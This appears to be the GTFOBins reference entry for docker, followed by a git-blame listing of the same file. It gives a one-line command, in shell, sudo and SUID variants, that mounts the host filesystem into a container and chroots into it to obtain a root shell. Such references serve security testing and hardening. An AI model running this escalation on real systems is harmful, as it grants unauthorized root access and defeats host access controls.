GTFOBins.github.io/_gtfobins/docker.md

---
description: |
  This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
functions:
  shell:
    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
      code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  sudo:
    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
      code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  suid:
    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
      code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
---
add new ways 2018-08-17 17:16:09 +02:00			`---`
Make docker disposable, use sh instead of bash and add description 2018-08-19 09:40:37 +02:00			`description: \|`
Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. 2019-07-02 14:55:40 +02:00			This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
add new ways 2018-08-17 17:16:09 +02:00			`functions:`
Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. 2019-07-02 14:55:40 +02:00			`shell:`
			- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
			`code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh`
Adopt new function names 2018-10-05 19:55:38 +02:00			`sudo:`
Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. 2019-07-02 14:55:40 +02:00			- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
			`code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh`
Adopt new function names 2018-10-05 19:55:38 +02:00			`suid:`
Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. 2019-07-02 14:55:40 +02:00			- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
			`code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh`
add new ways 2018-08-17 17:16:09 +02:00			`---`